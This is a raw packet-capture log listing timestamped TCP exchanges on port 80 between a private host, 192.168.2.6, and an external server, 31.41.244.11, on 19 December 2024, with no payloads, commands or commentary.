Dec 19, 2024 16:10:27.232105970 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.233164072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.233206987 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.233232021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.233273983 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.234406948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.234455109 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.234500885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.234541893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.235658884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.235707045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.235748053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.235790014 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.236589909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.236637115 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.236713886 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.236752987 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.237354040 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.237396002 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.237518072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.237555981 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.238123894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.238166094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.238238096 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.238281012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.239099979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.239145994 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.239269018 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.239310026 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.239907026 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.239953041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.239993095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.240029097 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.240705013 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.240726948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.240751028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.240763903 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.241322041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.241364956 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.241370916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.241399050 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.242264032 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.242311001 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.242425919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.242465019 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.243180990 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.243237019 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.243310928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.243356943 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.244215012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.244259119 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.244298935 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.244333982 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.245197058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.245244980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.245285988 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.245322943 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.246165037 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.246216059 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.246236086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.246274948 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.247183084 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.247231960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.247240067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.247278929 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.248179913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.248228073 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.248270035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.248310089 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.249118090 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.249185085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.249222040 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.249262094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.250113964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.250175953 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.250200033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.250240088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.251046896 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.251127005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.251127005 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.251193047 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.252022982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.252099037 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.252099991 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.252156973 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.253022909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.253076077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.253122091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.253160000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.253983974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.254024982 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.254194021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.254241943 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.255064964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.255106926 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.255146027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.255182028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.255970001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.256015062 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.256089926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.256127119 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.256968975 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.257014036 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.257139921 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.257178068 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.257894993 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.257937908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.258012056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.258048058 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.258879900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.258924007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.259012938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.259051085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.259885073 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.259928942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.259967089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.260023117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.260876894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.260937929 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.261027098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.261070013 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.261830091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.261878014 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.262156963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.262197971 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.262794018 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.262830019 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.262872934 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.262942076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.263808012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.263854027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.263946056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.263984919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.264818907 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.264862061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.264990091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.265028000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.265769005 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.265810966 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.265891075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.265929937 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.266720057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.266765118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.266894102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.266936064 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.267755985 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.267796040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.267923117 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.267963886 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.268680096 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.268723965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.268779993 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.268817902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.269711971 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.269753933 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.269795895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.269828081 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.270665884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.270709038 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.270787954 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.270829916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.271636963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.271682978 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.271718979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.271760941 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.272588015 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.272639990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.272766113 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.272804022 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.273591995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.273633957 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.273701906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.273742914 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.274574041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.274616003 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.274655104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.274691105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.275480986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.275522947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.418359041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.418423891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.418636084 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.418648958 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.418663025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.418679953 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.418697119 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.419573069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.419621944 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.419711113 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.419754028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.420598984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.420653105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.420715094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.420752048 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.421632051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.421674013 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.421842098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.421880007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.422734022 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.422774076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.422812939 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.422851086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.423662901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.423696995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.423706055 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.423737049 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.424571991 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.424613953 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.424643040 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.424680948 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.425533056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.425576925 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.425622940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.425661087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.426441908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.426486015 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.426585913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.426623106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.427484989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.427517891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.427527905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.427561998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.428472042 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.428523064 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.428634882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.428674936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.429500103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.429548025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.429605961 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.429644108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.430394888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.430437088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.430536985 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.430576086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.431435108 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.431477070 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.431569099 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.431607008 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.432331085 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.432373047 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.432445049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.432483912 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.433269024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.433314085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.433429956 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.433468103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.434245110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.434284925 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.434377909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.434416056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.435422897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.435466051 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.435529947 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.435570002 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.436234951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.436280012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.436494112 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.436533928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.437284946 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.437325954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.437479973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.437516928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.438163996 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.438205957 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.438271999 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.438312054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.439219952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.439264059 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.439270020 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.439296961 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.440217972 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.440260887 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.440323114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.440361023 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.441126108 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.441165924 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.441243887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.441284895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.442107916 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.442147970 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.442229033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.442267895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.443190098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.443202019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.443233967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.443248987 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.444070101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.444113016 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.444144011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.444181919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.445008039 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.445050001 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.445218086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.445260048 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.446103096 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.446142912 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.446309090 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.446347952 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.447036028 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.447083950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.447118044 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.447154045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.447961092 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.448000908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.448076963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.448112011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.448962927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.449064016 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.449100971 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.449139118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.450010061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.450062990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.450094938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.450134039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.450972080 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.451014042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.451123953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.451160908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.451939106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.451980114 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.452058077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.452091932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.453031063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.453042984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.453073025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.453099012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.453927994 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.453975916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.453979015 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.454018116 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.454849005 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.454891920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.455039978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.455080032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.455836058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.455892086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.455935955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.455972910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.456799984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.456845999 CET	49881	80	192.168.2.6	31.41.244.11
